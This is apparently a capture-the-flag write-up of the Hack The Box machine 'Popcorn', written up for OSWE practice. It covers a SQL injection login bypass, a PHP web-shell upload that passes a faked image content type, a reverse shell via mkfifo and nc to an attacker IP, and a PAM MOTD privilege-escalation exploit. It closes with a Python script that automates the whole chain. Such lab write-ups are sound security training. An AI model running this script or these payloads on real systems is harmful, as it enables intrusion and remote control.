Metadata
Difficulty: Medium
OS: Linux
Release Date: 15 Mar, 2017
Enumeration
Nmap
We start by running nmap
to discover the open ports on the machine.

From the Nmap scan, we discovered two open ports: 22 and 80. We will start by enumerating port 80 first, and if we don't find anything interesting, we can take a crack at the SSH service.
Port 80/TCP - HTTP
We will start by adding the popcorn.htb entry to the /etc/hosts file:
sudo nano /etc/hosts
Then add the following line at the end of the file:
10.129.8.197 popcorn.htb
Of course, you can use the editor of your preference.
Site
Site returns Apache default page.

Directory Fuzzing
Let's run ffuf
against the server.

We discovered /test, /rename, and /torrent directory from the initial fuzzing.
/test
directory returns phpinfo. This information can reveal sensitive information about the server to an attacker.

/rename
directory hosted an API which can be used to rename files on the server.

/torrent
directory returns a site called Torrent Hoster:

There is an upload page, which redirects users to the login page. From the above image, we can confirm that there is at least one user called Admin
on the server.
Fuzzing /torrent
directory, we discovered two interesting paths: /database and /upload.
Both path had directory listing enabled. On /database
path we discovered phpMyAdmin SQL Dump. At the end of the file we found an Admin password hash.

Using a CrackStation (online password cracker), we were able to retrieve the password.

Unfortunately, this password was not the current active Admin password.
/upload
directory displays all uploaded images. This could be partially useful if it becomes possible to upload a shell to the server via the upload page.
Exploitation
SQL Injection
Although users can register a new account and log in to the application, there is a SQL injection vulnerability present in the login form. This is a classic SQLi issue that allows an attacker to authenticate as the Admin user without valid credentials.
By submitting the following values in the login form, the SQL query used to perform the login action can be observed:
Username: admin'
Password: anything

In this case, an attacker can log in as any user without the need for a password.
For example, submitting the username admin'-- -
and a password anything
, results in the following query:
SELECT userName, password, privilege, email FROM users WHERE userName = 'admin'-- -' AND password = 'f0e166dc34d14d6c228ffac576c9a43c'
--
in SQL is a comment marker. Everything after --
is treated as a comment and ignored by the SQL engine.
The actual query the database sees is:
SELECT userName, password, privilege, email FROM users WHERE userName = 'admin'
This query returns the user whose username is admin
and successfully logs the attacker in as that user.
Upload Function
There are two ways to exploit the upload functionality: by uploading a torrent file or by uploading an image.
In the "Browse" section, there is an existing "Kali Linux" torrent file uploaded by the Admin. We will modify the screenshot attached to this torrent to test the upload behavior.
It was possible to upload PHP content by setting the Content-Type
to image/png
and appending a .php
extension to the filename, as demonstrated in the image below.

We can find uploaded shell file under /upload
directory.

One important observation is that the server updates the filename to match the value of the id
parameter. This detail will be useful later when automating the attack using a Python script.
We were able to confirm the execution:

Getting a reverse shell:

Spawning a TTY Shell
Python
python -c 'import pty; pty.spawn("/bin/bash")'
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
It was possible to read the content of user.txt
as www-data
user:

Privilege Escalation
Upon listing all files and directories under George's home folder, we discovered an unusual file (motd.legal-displayed
) located in the .cache
directory.

A little bit research and we found a public exploit, which can elevate our privileges to root user:
Linux PAM 1.1.0 (Ubuntu 9.10/10.04) - MOTD File Tampering Privilege Escalation (2)

Proof

Python Script
While writing these blog posts, I am also preparing for the OSWE certification. Where applicable, you will find Python scripts to automate attacks in my posts.
#!/usr/bin/python3
import requests
import argparse
import re
from colorama import Fore, Style
# Disable SSL warnings
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
def format_text(title, item):
cr = '\r\n'
section_break = cr + "*" * 20 + cr
item = str(item)
text = Style.BRIGHT + Fore.RED + title + Fore.RESET + section_break + Style.RESET_ALL + item + Style.BRIGHT + section_break + Style.RESET_ALL
return text
# Parse command-line arguments
parser = argparse.ArgumentParser(description="Send GET request with optional Burp proxy.")
parser.add_argument('--use-burp', action='store_true', help='Route traffic through Burp Suite (127.0.0.1:8080)')
parser.add_argument('--url', type=str, default='http://popcorn.htb/torrent/', help='Target URL')
args = parser.parse_args()
# Set proxy if Burp is enabled
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'} if args.use_burp else None
# Optional headers
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
'Content-Type': 'application/x-www-form-urlencoded'
}
def main():
# Authentication bypass / SQLi
login_url = "http://popcorn.htb/torrent/login.php"
login_data = {
"username": "admin'-- -",
"password": "test"
}
s = requests.Session()
r1 = s.post(login_url, headers=headers, data=login_data, verify=False, proxies=proxies)
print(format_text('[+] SQLi to bypass authentication and Log in as an Admin user', r1.status_code))
print(format_text('[+] Stored admin session cookie', s.cookies.get_dict()))
# File upload
upload_url = "http://popcorn.htb/torrent/upload_file.php?mode=upload&id=shell"
payload = "<?php system($_GET['cmd']);?>"
files = {
('file', ('test.php', payload, 'image/png'))
}
data = {
'submit': 'Submit Screenshot'
}
r2 = s.post(upload_url, files=files, data=data, verify=False, proxies=proxies)
uploads_page = "http://popcorn.htb/torrent/upload/"
r3 = s.get(uploads_page, verify=False, proxies=proxies)
# regex to get the list of files uploaded on the server
pattern = r'<td><a href="(.*?)">'
regex = re.compile(pattern)
results = regex.findall(r3.text, re.IGNORECASE | re.DOTALL)
print(format_text('[+] Shell.php successfully stored on the server under /upload directory', results))
# get a reverse shell
shell_url = "http://popcorn.htb/torrent/upload/shell.php"
params = {"cmd": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.154 4444 >/tmp/f"} # Change IP here
print(format_text('[+] Check netcat listner for the connection', 'nc -lnvp 4444'))
r4 = s.get(shell_url, params=params, verify=False, proxies=proxies)
if __name__ == "__main__":
main()
Member discussion